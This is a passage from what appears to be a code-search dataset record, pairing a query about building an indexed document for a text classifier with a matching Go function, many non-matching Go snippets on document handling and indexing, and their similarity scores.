&handler.EnqueueRequestForObject{})\\n// err = c.Watch(&source.Kind{Type: &MongoDBAtlasDatabase{}}, &handler.EnqueueRequestForObject{})\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func PutDoc(c *gin.Context) {\\n\\tvar doc Document\\n\\tstore := c.MustGet(\\\"store\\\").(*Store)\\n\\ttxn, have_txn := c.Get(\\\"NewRelicTransaction\\\")\\n\\tkey := c.Param(\\\"key\\\")\\n\\n\\terr := c.ShouldBindJSON(&doc)\\n\\tif err != nil {\\n\\t\\tif have_txn {\\n\\t\\t\\ttxn.(newrelic.Transaction).NoticeError(err)\\n\\t\\t}\\n\\t\\tc.JSON(http.StatusUnprocessableEntity, \\\"\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tstore.Set(key, doc)\\n\\tc.JSON(http.StatusNoContent, nil)\\n}\",\n \"func (c Client) Create(input *CreateDocumentInput) (*CreateDocumentResponse, error) {\\n\\treturn c.CreateWithContext(context.Background(), input)\\n}\",\n \"func ConvertDoc(r io.Reader) (string, map[string]string, error) {\\n\\tf, err := NewLocalFile(r, \\\"/tmp\\\", \\\"sajari-convert-\\\")\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", nil, fmt.Errorf(\\\"error creating local file: %v\\\", err)\\n\\t}\\n\\tdefer f.Done()\\n\\n\\t// Meta data\\n\\tmc := make(chan map[string]string, 1)\\n\\tgo func() {\\n\\t\\tmeta := make(map[string]string)\\n\\t\\tmetaStr, err := exec.Command(\\\"wvSummary\\\", f.Name()).Output()\\n\\t\\tif err != nil {\\n\\t\\t\\t// TODO: Remove this.\\n\\t\\t\\tlog.Println(\\\"wvSummary:\\\", err)\\n\\t\\t}\\n\\n\\t\\t// Parse meta output\\n\\t\\tinfo := make(map[string]string)\\n\\t\\tfor _, line := range strings.Split(string(metaStr), \\\"\\\\n\\\") {\\n\\t\\t\\tif parts := strings.SplitN(line, \\\"=\\\", 2); len(parts) > 1 {\\n\\t\\t\\t\\tinfo[strings.TrimSpace(parts[0])] = strings.TrimSpace(parts[1])\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\t// Convert parsed meta\\n\\t\\tif tmp, ok := info[\\\"Last Modified\\\"]; ok {\\n\\t\\t\\tif t, err := time.Parse(time.RFC3339, tmp); err == nil {\\n\\t\\t\\t\\tmeta[\\\"ModifiedDate\\\"] = fmt.Sprintf(\\\"%d\\\", t.Unix())\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif tmp, ok := info[\\\"Created\\\"]; ok {\\n\\t\\t\\tif t, err := time.Parse(time.RFC3339, tmp); err == nil {\\n\\t\\t\\t\\tmeta[\\\"CreatedDate\\\"] = fmt.Sprintf(\\\"%d\\\", t.Unix())\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tmc <- meta\\n\\t}()\\n\\n\\t// Document body\\n\\tbc := make(chan string, 1)\\n\\tgo func() {\\n\\n\\t\\t// Save output to a file\\n\\t\\toutputFile, err := ioutil.TempFile(\\\"/tmp\\\", \\\"sajari-convert-\\\")\\n\\t\\tif err != nil {\\n\\t\\t\\t// TODO: Remove this.\\n\\t\\t\\tlog.Println(\\\"TempFile Out:\\\", err)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tdefer os.Remove(outputFile.Name())\\n\\n\\t\\terr = exec.Command(\\\"wvText\\\", f.Name(), outputFile.Name()).Run()\\n\\t\\tif err != nil {\\n\\t\\t\\t// TODO: Remove this.\\n\\t\\t\\tlog.Println(\\\"wvText:\\\", err)\\n\\t\\t}\\n\\n\\t\\tvar buf bytes.Buffer\\n\\t\\t_, err = buf.ReadFrom(outputFile)\\n\\t\\tif err != nil {\\n\\t\\t\\t// TODO: Remove this.\\n\\t\\t\\tlog.Println(\\\"wvText:\\\", err)\\n\\t\\t}\\n\\n\\t\\tbc <- buf.String()\\n\\t}()\\n\\n\\t// TODO: Should errors in either of the above Goroutines stop things from progressing?\\n\\tbody := <-bc\\n\\tmeta := <-mc\\n\\n\\t// TODO: Check for errors instead of len(body) == 0?\\n\\tif len(body) == 0 {\\n\\t\\tf.Seek(0, 0)\\n\\t\\treturn ConvertDocx(f)\\n\\t}\\n\\treturn body, meta, nil\\n}\",\n \"func (r Dictionary) Add(word string, definition string) error {\\n\\t_, err := r.Search(word)\\n\\tswitch err {\\n\\tcase ErrWordNotFound:\\n\\t\\tr[word] = definition\\n\\tcase nil:\\n\\t\\treturn ErrKeyWordDuplicate\\n\\tdefault:\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (m *CFDocument) Init(uriPrefix string, baseName string) {\\n\\trandomSuffix, _ := random()\\n\\tname := \\\"http://frameworks.act.org/CFDocuments/\\\" + baseName + \\\"/\\\" + randomSuffix\\n\\n\\tid := uuid.NewV5(uuid.NamespaceDNS, name)\\n\\n\\tm.URI = uriPrefix + \\\"/CFDocuments/\\\" + id.String()\\n\\tm.CFPackageURI = uriPrefix + \\\"/CFPackages/\\\" + id.String()\\n\\tm.Identifier = id.String()\\n\\tm.Creator = \\\"subjectsToCase\\\"\\n\\tm.Title = baseName\\n\\tm.Description = baseName\\n\\tt := time.Now()\\n\\tm.LastChangeDateTime = fmt.Sprintf(\\\"%d-%02d-%02dT%02d:%02d:%02d+00:00\\\",\\n\\t\\tt.Year(), t.Month(), t.Day(),\\n\\t\\tt.Hour(), t.Minute(), t.Second())\\n}\",\n \"func (i *TelegramBotAPI) SendDocument(userID int64, file interface{}) {\\n\\tmsg := tgbotapi.NewDocumentUpload(userID, file)\\n\\t_, err := i.API.Send(msg)\\n\\tlog.WithError(err)\\n\\treturn\\n}\",\n \"func (s *ReleaseService) AddTextRelease(r *Release, authToken string) (*Release, error) {\\n\\tvar (\\n\\t\\tmethod = http.MethodPost\\n\\t\\tpath = fmt.Sprintf(\\\"/releases\\\")\\n\\t)\\n\\treq := s.client.newRequest(path, method)\\n\\taddJWTToRequest(req, authToken)\\n\\tr.Type = Text\\n\\terr := addBodyToRequestAsJSON(req, r)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn s.addRelease(req)\\n}\",\n \"func (s *SiteSearchTagsDAO) AddTagsSearchIndex(docID string, doctype string, tags []string) error {\\n\\n\\tfor _, v := range tags {\\n\\n\\t\\tcount, err := s.Exists(v)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"error attempting to get record count for keyword %s with error %s\\\", v, err)\\n\\t\\t}\\n\\n\\t\\tlog.Info().Msgf(\\\"Found %d site search tag records for keyworkd %s\\\", count, v)\\n\\n\\t\\t// Determine if the document exists already\\n\\t\\tif count == 0 {\\n\\t\\t\\tlog.Info().Msgf(\\\"]Tag does not exist for %s in the database\\\", v)\\n\\t\\t\\tvar newSTM models.SiteSearchTagsModel\\n\\t\\t\\tnewSTM.Name = v\\n\\t\\t\\tnewSTM.TagsID = models.GenUUID()\\n\\t\\t\\tvar doc models.Documents\\n\\t\\t\\tvar docs []models.Documents\\n\\t\\t\\tdoc.DocType = doctype\\n\\t\\t\\tdoc.DocumentID = docID\\n\\t\\t\\tdocs = append(docs, doc)\\n\\n\\t\\t\\tnewSTM.Documents = docs\\n\\t\\t\\tlog.Info().Msgf(\\\"Inserting new tag %s into database\\\", v)\\n\\t\\t\\terr = s.InsertSiteSearchTags(&newSTM)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn fmt.Errorf(\\\"error inserting new site search tag for keyword %s with error %s\\\", v, err)\\n\\t\\t\\t}\\n\\t\\t\\tlog.Info().Msgf(\\\"Tag %s inserted successfully\\\", v)\\n\\t\\t\\t// If not, then we add to existing documents\\n\\t\\t} else {\\n\\n\\t\\t\\tstm, err := s.GetSiteSearchTagByName(v)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn fmt.Errorf(\\\"error getting current instance of searchtag for keyword %s with error %s\\\", v, err)\\n\\t\\t\\t}\\n\\t\\t\\tlog.Info().Msgf(\\\"Found existing searchtagid record for %s\\\", stm.Name)\\n\\t\\t\\t//fmt.Println(mtm.Documents)\\n\\n\\t\\t\\t// Get the list of documents\\n\\t\\t\\tdocs := stm.Documents\\n\\n\\t\\t\\t// For the list of documents, find the document ID we are looking for\\n\\t\\t\\t// If not found, then we update the document list with the document ID\\n\\t\\t\\tfound := false\\n\\t\\t\\tfor _, d := range docs {\\n\\t\\t\\t\\tif d.DocumentID == v {\\n\\t\\t\\t\\t\\tfound = true\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\n\\t\\t\\tif found {\\n\\t\\t\\t\\tlog.Info().Msgf(\\\"Updating tag, %s with document id %s\\\", v, docID)\\n\\t\\t\\t\\tvar doc models.Documents\\n\\t\\t\\t\\tdoc.DocType = doctype\\n\\t\\t\\t\\tdoc.DocumentID = docID\\n\\t\\t\\t\\tdocs = append(docs, doc)\\n\\t\\t\\t\\tstm.Documents = docs\\n\\t\\t\\t\\t//fmt.Println(mtm)\\n\\t\\t\\t\\terr = s.UpdateSiteSearchTags(&stm)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn fmt.Errorf(\\\"error updating searchtag for keyword %s with error %s\\\", v, err)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.5771074","0.5591482","0.54680395","0.53671986","0.53431314","0.51922405","0.51701146","0.5161865","0.51556957","0.5064674","0.4935853","0.49269405","0.49071938","0.4900753","0.48730364","0.48526248","0.4838465","0.48126084","0.47779813","0.4728559","0.47040424","0.4692788","0.4688546","0.4650209","0.4620315","0.46107838","0.46018663","0.45730302","0.45636916","0.4563005","0.45372853","0.4518306","0.44899467","0.4465351","0.4464091","0.44626155","0.44598797","0.44594508","0.44488057","0.4442809","0.44112986","0.4407696","0.43966842","0.43946746","0.4388389","0.43865147","0.4385627","0.43849543","0.4382793","0.43783805","0.43730667","0.43708447","0.43622935","0.4361723","0.43590418","0.43513486","0.43488067","0.43463814","0.4346203","0.4344649","0.4337885","0.43324605","0.43317202","0.4327751","0.43098766","0.43084848","0.42940146","0.42911503","0.42774218","0.42756298","0.42724046","0.42508668","0.42478022","0.42457232","0.4233428","0.4229557","0.4226195","0.42191923","0.42151436","0.4205539","0.42036694","0.4202305","0.41931874","0.41903523","0.41867813","0.41793597","0.41792533","0.4162198","0.41621175","0.4155312","0.41487736","0.41485038","0.41476217","0.4145553","0.41318837","0.41313702","0.41313392","0.4127253","0.4123658","0.41222262"],"string":"[\n \"0.5771074\",\n \"0.5591482\",\n \"0.54680395\",\n \"0.53671986\",\n \"0.53431314\",\n \"0.51922405\",\n \"0.51701146\",\n \"0.5161865\",\n \"0.51556957\",\n \"0.5064674\",\n \"0.4935853\",\n \"0.49269405\",\n \"0.49071938\",\n \"0.4900753\",\n \"0.48730364\",\n \"0.48526248\",\n \"0.4838465\",\n \"0.48126084\",\n \"0.47779813\",\n \"0.4728559\",\n \"0.47040424\",\n \"0.4692788\",\n \"0.4688546\",\n \"0.4650209\",\n \"0.4620315\",\n \"0.46107838\",\n \"0.46018663\",\n \"0.45730302\",\n \"0.45636916\",\n \"0.4563005\",\n \"0.45372853\",\n \"0.4518306\",\n \"0.44899467\",\n \"0.4465351\",\n \"0.4464091\",\n \"0.44626155\",\n \"0.44598797\",\n \"0.44594508\",\n \"0.44488057\",\n \"0.4442809\",\n \"0.44112986\",\n \"0.4407696\",\n \"0.43966842\",\n \"0.43946746\",\n \"0.4388389\",\n \"0.43865147\",\n \"0.4385627\",\n \"0.43849543\",\n \"0.4382793\",\n \"0.43783805\",\n \"0.43730667\",\n \"0.43708447\",\n \"0.43622935\",\n \"0.4361723\",\n \"0.43590418\",\n \"0.43513486\",\n \"0.43488067\",\n \"0.43463814\",\n \"0.4346203\",\n \"0.4344649\",\n \"0.4337885\",\n \"0.43324605\",\n \"0.43317202\",\n \"0.4327751\",\n \"0.43098766\",\n \"0.43084848\",\n \"0.42940146\",\n \"0.42911503\",\n \"0.42774218\",\n \"0.42756298\",\n \"0.42724046\",\n \"0.42508668\",\n \"0.42478022\",\n \"0.42457232\",\n \"0.4233428\",\n \"0.4229557\",\n \"0.4226195\",\n \"0.42191923\",\n \"0.42151436\",\n \"0.4205539\",\n \"0.42036694\",\n \"0.4202305\",\n \"0.41931874\",\n \"0.41903523\",\n \"0.41867813\",\n \"0.41793597\",\n \"0.41792533\",\n \"0.4162198\",\n \"0.41621175\",\n \"0.4155312\",\n \"0.41487736\",\n \"0.41485038\",\n \"0.41476217\",\n \"0.4145553\",\n \"0.41318837\",\n \"0.41313702\",\n \"0.41313392\",\n \"0.4127253\",\n \"0.4123658\",\n \"0.41222262\"\n]"},"document_score":{"kind":"string","value":"0.7784615"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106193,"cells":{"query":{"kind":"string","value":"generateIndexedDocument creates an indexedDocument from the supplied document. if addWords is true, the classifier dictionary is updated with new tokens encountered in the document."},"document":{"kind":"string","value":"func (c *Classifier) generateIndexedDocument(d *document, addWords bool) *indexedDocument {\n\tid := &indexedDocument{\n\t\tTokens: make([]indexedToken, 0, len(d.Tokens)),\n\t\tdict: c.dict,\n\t}\n\n\tfor _, t := range d.Tokens {\n\t\tvar tokID tokenID\n\t\tif addWords {\n\t\t\ttokID = id.dict.add(t.Text)\n\t\t} else {\n\t\t\ttokID = id.dict.getIndex(t.Text)\n\t\t}\n\n\t\tid.Tokens = append(id.Tokens, indexedToken{\n\t\t\tIndex: t.Index,\n\t\t\tLine: t.Line,\n\t\t\tID: tokID,\n\t\t})\n\n\t}\n\tid.generateFrequencies()\n\tid.runes = diffWordsToRunes(id, 0, id.size())\n\tid.norm = id.normalized()\n\treturn id\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (c *Classifier) addDocument(name string, doc *document) {\n\t// For documents that are part of the corpus, we add them to the dictionary and\n\t// compute their associated search data eagerly so they are ready for matching against\n\t// candidates.\n\tid := c.generateIndexedDocument(doc, true)\n\tid.generateFrequencies()\n\tid.generateSearchSet(c.q)\n\tid.s.origin = name\n\tc.docs[name] = id\n}","func (c *Classifier) createTargetIndexedDocument(in []byte) *indexedDocument {\n\tdoc := tokenize(in)\n\treturn c.generateIndexedDocument(doc, false)\n}","func (m *sparse) Add(index *index.TermIndex, weight classifier.WeightScheme, docWordFreq map[string]float64) {\n\tprev := len(m.ind)\n\tfor term := range docWordFreq {\n\t\tm.ind = append(m.ind, index.IndexOf(term))\n\t\tm.val = append(m.val, weight(term))\n\t}\n\n\tcur := prev + len(docWordFreq)\n\tquickSort(m, prev, cur-1)\n\tm.ptr = append(m.ptr, cur)\n}","func DocumentAdd(docs []Document) {\n\tlen := len(documents)\n\tfor i := range docs {\n\t\tdocs[i].SetID(uint64(len + i))\n\t\tdocuments = append(documents, docs[i])\n\t}\n\n\tindexDocuments.add(docs)\n}","func generateIndex(textsNumber int, wordsNumber int) *Index {\n\ttitles := make([]string, textsNumber)\n\tentries := make(map[string]Set)\n\tfor i := 0; i < textsNumber; i++ {\n\t\ttitles[i] = fmt.Sprintf(\"title-with-number-%d\", i)\n\t}\n\tfor i := 0; i < wordsNumber; i++ {\n\t\tset := Set{}\n\t\tfor j := 0; j < textsNumber; j++ {\n\t\t\tset.Put(j)\n\t\t}\n\t\tentries[fmt.Sprintf(\"w%d\", i)] = set\n\t}\n\treturn &Index{\n\t\tTitles: titles,\n\t\tData: entries,\n\t}\n}","func newDocumentIndex(opts *iface.CreateDocumentDBOptions) iface.StoreIndex {\n\treturn &documentIndex{\n\t\tindex: map[string][]byte{},\n\t\topts: opts,\n\t}\n}","func loadDocument(id, sc, fields interface{}) (index.Document, error) {\n\n\tscore, err := strconv.ParseFloat(string(sc.([]byte)), 64)\n\tif err != nil {\n\t\treturn index.Document{}, fmt.Errorf(\"Could not parse score: %s\", err)\n\t}\n\n\tdoc := index.NewDocument(string(id.([]byte)), float32(score))\n\tlst := fields.([]interface{})\n\tfor i := 0; i < len(lst); i += 2 {\n\t\tprop := string(lst[i].([]byte))\n\t\tvar val interface{}\n\t\tswitch v := lst[i+1].(type) {\n\t\tcase []byte:\n\t\t\tval = string(v)\n\t\tdefault:\n\t\t\tval = v\n\n\t\t}\n\t\tdoc = doc.Set(prop, val)\n\t}\n\treturn doc, nil\n}","func GenNaiveSearchIndex(item models.Item) string {\n\twords := make(map[string]struct{})\n\n\t// Extract name.\n\tfor _, v := range extractWords(item.Name) {\n\t\twords[v] = struct{}{}\n\t}\n\n\t// Extract type of item.\n\tfor _, v := range extractWords(item.Type) {\n\t\twords[v] = struct{}{}\n\t}\n\n\t// Extract properties.\n\tfor _, mod := range item.ExplicitMods {\n\t\tfor _, v := range extractWords(mod) {\n\t\t\twords[v] = struct{}{}\n\t\t}\n\t}\n\tfor _, mod := range item.ImplicitMods {\n\t\tfor _, v := range extractWords(mod) {\n\t\t\twords[v] = struct{}{}\n\t\t}\n\t}\n\tfor _, mod := range item.UtilityMods {\n\t\tfor _, v := range extractWords(mod) {\n\t\t\twords[v] = struct{}{}\n\t\t}\n\t}\n\tfor _, mod := range item.EnchantMods {\n\t\tfor _, v := range extractWords(mod) {\n\t\t\twords[v] = struct{}{}\n\t\t}\n\t}\n\tfor _, mod := range item.CraftedMods {\n\t\tfor _, v := range extractWords(mod) {\n\t\t\twords[v] = struct{}{}\n\t\t}\n\t}\n\n\t// Construct final string with sorted keywords.\n\tkeys := make([]string, 0, len(words))\n\tfor key := range words {\n\t\tkeys = append(keys, key)\n\t}\n\tsort.Strings(keys)\n\treturn strings.Join(keys, \" \")\n}","func (this *Corpus) AddDoc(docId uint32, wcs []*WordCount) {\n\tif this.Docs == nil {\n\t\tthis.Docs = make(map[uint32][]*WordCount)\n\t}\n\tif _, ok := this.Docs[docId]; ok {\n\t\tlog.Warningf(\"document %d already exists, associated value will be overwritten\")\n\t}\n\tthis.Docs[docId] = wcs\n}","func (t *TrigramIndex) Add(doc string) int {\n\tnewDocID := t.maxDocID + 1\n\ttrigrams := ExtractStringToTrigram(doc)\n\tfor _, tg := range trigrams {\n\t\tvar mapRet IndexResult\n\t\tvar exist bool\n\t\tif mapRet, exist = t.TrigramMap[tg]; !exist {\n\t\t\t//New doc ID handle\n\t\t\tmapRet = IndexResult{}\n\t\t\tmapRet.DocIDs = make(map[int]bool)\n\t\t\tmapRet.Freq = make(map[int]int)\n\t\t\tmapRet.DocIDs[newDocID] = true\n\t\t\tmapRet.Freq[newDocID] = 1\n\t\t} else {\n\t\t\t//trigram already exist on this doc\n\t\t\tif _, docExist := mapRet.DocIDs[newDocID]; docExist {\n\t\t\t\tmapRet.Freq[newDocID] = mapRet.Freq[newDocID] + 1\n\t\t\t} else {\n\t\t\t\t//tg eixist but new doc id is not exist, add it\n\t\t\t\tmapRet.DocIDs[newDocID] = true\n\t\t\t\tmapRet.Freq[newDocID] = 1\n\t\t\t}\n\t\t}\n\t\t//Store or Add result\n\t\tt.TrigramMap[tg] = mapRet\n\t}\n\n\tt.maxDocID = newDocID\n\tt.docIDsMap[newDocID] = true\n\treturn newDocID\n}","func (s *langsvr) newDocument(uri string, language string, version int, body Body) *Document {\n\tif d, exists := s.documents[uri]; exists {\n\t\tpanic(fmt.Errorf(\"Attempting to create a document that already exists. %+v\", d))\n\t}\n\td := &Document{}\n\td.uri = uri\n\td.path, _ = URItoPath(uri)\n\td.language = language\n\td.version = version\n\td.server = s\n\td.body = body\n\ts.documents[uri] = d\n\treturn d\n}","func AddDocument(clientId string, doc *ClientDocument, entitiesFound []*Entity, themes []uint64) error {\n\n\tcd := \"clientdocuments_\" + clientId\n\n\tsi, err := solr.NewSolrInterface(solrUrl, cd)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar englishEntities, entities []string\n\tfor _, entity := range entitiesFound {\n\t\tenglishEntities = append(englishEntities, entity.UrlPageTitle)\n\t\tentities = append(entities, entity.UrlPageTitle)\n\t}\n\n\tvar documents []solr.Document\n\tclientDocument := make(solr.Document)\n\tclientDocument.Set(\"documentID\", doc.ClientDocumentShort.DocumentID)\n\tclientDocument.Set(\"documentTitle\", doc.DocumentTitle)\n\tclientDocument.Set(\"document\", doc.Document)\n\tclientDocument.Set(\"languageCode\", doc.LanguageCode)\n\tclientDocument.Set(\"createdAt\", doc.CreatedAt)\n\tclientDocument.Set(\"sentiment\", doc.Sentiment)\n\tclientDocument.Set(\"themes\", themes)\n\tclientDocument.Set(\"entities\", entities)\n\tclientDocument.Set(\"englishEntities\", englishEntities)\n\tdocuments = append(documents, clientDocument)\n\n\t_, err = si.Add(documents, 1, nil)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error while adding document to Solr. No such core exists\")\n\t}\n\n\terr = Reload(cd)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}","func buildIndexWithWalk(dir string) {\n\t//fmt.Println(len(documents))\n\tfilepath.Walk(dir, func(path string, f os.FileInfo, err error) error {\n\t\tif (err != nil) {\n\t\t\tfmt.Fprintln(os.Stdout, err)\n\t\t}\n\t\tdocuments = append(documents, path)\n\t\treturn nil\n\t});\n}","func newDoc(c *gin.Context) {\n\tkey := uuid.New()\n\tres := saveDocument(key, c)\n\tif res.Ok == false {\n\t\tif res.Message == \"file exists\" {\n\t\t\tc.JSON(fileExistsErr, res)\n\t\t} else {\n\t\t\tlog.Printf(\"Error saving document: %s\", res.Error)\n\t\t\tc.JSON(statusErr, res)\n\t\t}\n\t} else {\n\t\tc.JSON(statusOk, res)\n\t}\n}","func (s *SiteSearchTagsDAO) AddTagsSearchIndex(docID string, doctype string, tags []string) error {\n\n\tfor _, v := range tags {\n\n\t\tcount, err := s.Exists(v)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"error attempting to get record count for keyword %s with error %s\", v, err)\n\t\t}\n\n\t\tlog.Info().Msgf(\"Found %d site search tag records for keyworkd %s\", count, v)\n\n\t\t// Determine if the document exists already\n\t\tif count == 0 {\n\t\t\tlog.Info().Msgf(\"]Tag does not exist for %s in the database\", v)\n\t\t\tvar newSTM models.SiteSearchTagsModel\n\t\t\tnewSTM.Name = v\n\t\t\tnewSTM.TagsID = models.GenUUID()\n\t\t\tvar doc models.Documents\n\t\t\tvar docs []models.Documents\n\t\t\tdoc.DocType = doctype\n\t\t\tdoc.DocumentID = docID\n\t\t\tdocs = append(docs, doc)\n\n\t\t\tnewSTM.Documents = docs\n\t\t\tlog.Info().Msgf(\"Inserting new tag %s into database\", v)\n\t\t\terr = s.InsertSiteSearchTags(&newSTM)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"error inserting new site search tag for keyword %s with error %s\", v, err)\n\t\t\t}\n\t\t\tlog.Info().Msgf(\"Tag %s inserted successfully\", v)\n\t\t\t// If not, then we add to existing documents\n\t\t} else {\n\n\t\t\tstm, err := s.GetSiteSearchTagByName(v)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"error getting current instance of searchtag for keyword %s with error %s\", v, err)\n\t\t\t}\n\t\t\tlog.Info().Msgf(\"Found existing searchtagid record for %s\", stm.Name)\n\t\t\t//fmt.Println(mtm.Documents)\n\n\t\t\t// Get the list of documents\n\t\t\tdocs := stm.Documents\n\n\t\t\t// For the list of documents, find the document ID we are looking for\n\t\t\t// If not found, then we update the document list with the document ID\n\t\t\tfound := false\n\t\t\tfor _, d := range docs {\n\t\t\t\tif d.DocumentID == v {\n\t\t\t\t\tfound = true\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif found {\n\t\t\t\tlog.Info().Msgf(\"Updating tag, %s with document id %s\", v, docID)\n\t\t\t\tvar doc models.Documents\n\t\t\t\tdoc.DocType = doctype\n\t\t\t\tdoc.DocumentID = docID\n\t\t\t\tdocs = append(docs, doc)\n\t\t\t\tstm.Documents = docs\n\t\t\t\t//fmt.Println(mtm)\n\t\t\t\terr = s.UpdateSiteSearchTags(&stm)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"error updating searchtag for keyword %s with error %s\", v, err)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}","func (d *dictionary) add(word string) tokenID {\n\tif idx := d.getIndex(word); idx != unknownIndex {\n\t\treturn idx\n\t}\n\t// token IDs start from 1, 0 is reserved for the invalid ID\n\tidx := tokenID(len(d.words) + 1)\n\td.words[idx] = word\n\td.indices[word] = idx\n\treturn idx\n}","func NewDocument(class Class, tokens ...string) Document {\n\treturn Document{\n\t\tClass: class,\n\t\tTokens: tokens,\n\t}\n}","func NewDocumentService(config *autoconfig.Config, ctx context.Context) (*DocumentService, error) {\n\ts := &DocumentService{\n\t\tconfig: config,\n\t\tHandler: mux.NewRouter(),\n\t}\n\ts.createClients(ctx)\n\n\t// These is the un-authenticated endpoint that handles authentication with Auth0.\n\ts.Handler.HandleFunc(\"/debug/health\", health.StatusHandler).Methods(\"GET\")\n\ts.Handler.Handle(\"/login\", middleware.JSON(authentication.Handler(config))).Methods(\"POST\")\n\n\t// These requests all require authentication.\n\tlogMiddleware := logging.LogMiddleware{\n\t\tTable: s.bigquery.Dataset(config.Get(\"bigquery.dataset\")).Table(config.Get(\"bigquery.log_table\")),\n\t}\n\tauthRouter := s.Handler.PathPrefix(\"/document\").Subrouter()\n\tauthRouter.Handle(\"/\", middleware.JSON(authentication.Middleware(config, s.ListDocuments))).Methods(\"GET\")\n\tauthRouter.Handle(\"/\", middleware.JSON(authentication.Middleware(config, s.UploadDocument))).Methods(\"POST\")\n\tauthRouter.Handle(\"/{id}\", authentication.Middleware(config, s.GetDocument)).Methods(\"GET\")\n\tauthRouter.Handle(\"/{id}\", middleware.JSON(authentication.Middleware(config, s.DeleteDocument))).Methods(\"DELETE\")\n\tauthRouter.Use(logMiddleware.Middleware)\n\tauthRouter.Use(handlers.CompressHandler)\n\treturn s, nil\n}","func (iob *IndexOptionsBuilder) Build() bson.D {\n\treturn iob.document\n}","func BuildIndex(nGram int, dictionary []string) *NGramIndex {\n\tindex := make(InvertedIndex)\n\n\tfor id, word := range dictionary {\n\t\tfor _, term := range SplitIntoNGrams(nGram, word) {\n\t\t\tif _, ok := index[term]; !ok {\n\t\t\t\tindex[term] = PostingList{}\n\t\t\t}\n\n\t\t\tindex[term] = append(index[term], uint32(id))\n\t\t}\n\t}\n\n\treturn &NGramIndex{\n\t\tnGram: nGram,\n\t\tindex: index,\n\t\tdictionary: dictionary,\n\t}\n}","func BuildTestDocument() *did.Document {\n\tdoc := &did.Document{}\n\n\tmainDID, _ := didlib.Parse(testDID)\n\n\tdoc.ID = *mainDID\n\tdoc.Context = did.DefaultDIDContextV1\n\tdoc.Controller = mainDID\n\n\t// Public Keys\n\tpk1 := did.DocPublicKey{}\n\tpk1ID := fmt.Sprintf(\"%v#keys-1\", testDID)\n\td1, _ := didlib.Parse(pk1ID)\n\tpk1.ID = d1\n\tpk1.Type = linkeddata.SuiteTypeSecp256k1Verification\n\tpk1.Controller = mainDID\n\thexKey := \"04f3df3cea421eac2a7f5dbd8e8d505470d42150334f512bd6383c7dc91bf8fa4d5458d498b4dcd05574c902fb4c233005b3f5f3ff3904b41be186ddbda600580b\"\n\tpk1.PublicKeyHex = utils.StrToPtr(hexKey)\n\n\tdoc.PublicKeys = []did.DocPublicKey{pk1}\n\n\t// Service endpoints\n\tep1 := did.DocService{}\n\tep1ID := fmt.Sprintf(\"%v#vcr\", testDID)\n\td2, _ := didlib.Parse(ep1ID)\n\tep1.ID = *d2\n\tep1.Type = \"CredentialRepositoryService\"\n\tep1.ServiceEndpoint = \"https://repository.example.com/service/8377464\"\n\tep1.ServiceEndpointURI = utils.StrToPtr(\"https://repository.example.com/service/8377464\")\n\n\tdoc.Services = []did.DocService{ep1}\n\n\t// Authentication\n\taw1 := did.DocAuthenicationWrapper{}\n\taw1ID := fmt.Sprintf(\"%v#keys-1\", testDID)\n\td3, _ := didlib.Parse(aw1ID)\n\taw1.ID = d3\n\taw1.IDOnly = true\n\n\taw2 := did.DocAuthenicationWrapper{}\n\taw2ID := fmt.Sprintf(\"%v#keys-2\", testDID)\n\td4, _ := didlib.Parse(aw2ID)\n\taw2.ID = d4\n\taw2.IDOnly = false\n\taw2.Type = linkeddata.SuiteTypeSecp256k1Verification\n\taw2.Controller = mainDID\n\thexKey2 := \"04debef3fcbef3f5659f9169bad80044b287139a401b5da2979e50b032560ed33927eab43338e9991f31185b3152735e98e0471b76f18897d764b4e4f8a7e8f61b\"\n\taw2.PublicKeyHex = utils.StrToPtr(hexKey2)\n\n\tdoc.Authentications = []did.DocAuthenicationWrapper{aw1, aw2}\n\n\treturn doc\n}","func NewWordInfo(idx int64, freq int64) *WordInfo {\n\treturn &WordInfo{\n\t\t//Word: word,\n\t\tIdx: idx,\n\t\tFreq: freq,\n\t}\n}","func NewDocument() *Document {\n\treturn &Document{documents: make(map[string]flare.Document)}\n}","func (engine *Engine) Index(docId uint64, data types.DocData,\n\tforceUpdate ...bool) {\n\n\tvar force bool\n\tif len(forceUpdate) > 0 {\n\t\tforce = forceUpdate[0]\n\t}\n\n\t// if engine.HasDoc(docId) {\n\t// \tengine.RemoveDoc(docId)\n\t// }\n\n\t// data.Tokens\n\tengine.internalIndexDoc(docId, data, force)\n\n\thash := murmur.Sum32(fmt.Sprintf(\"%d\", docId)) %\n\t\tuint32(engine.initOptions.StoreShards)\n\n\tif engine.initOptions.UseStore && docId != 0 {\n\t\tengine.storeIndexDocChans[hash] 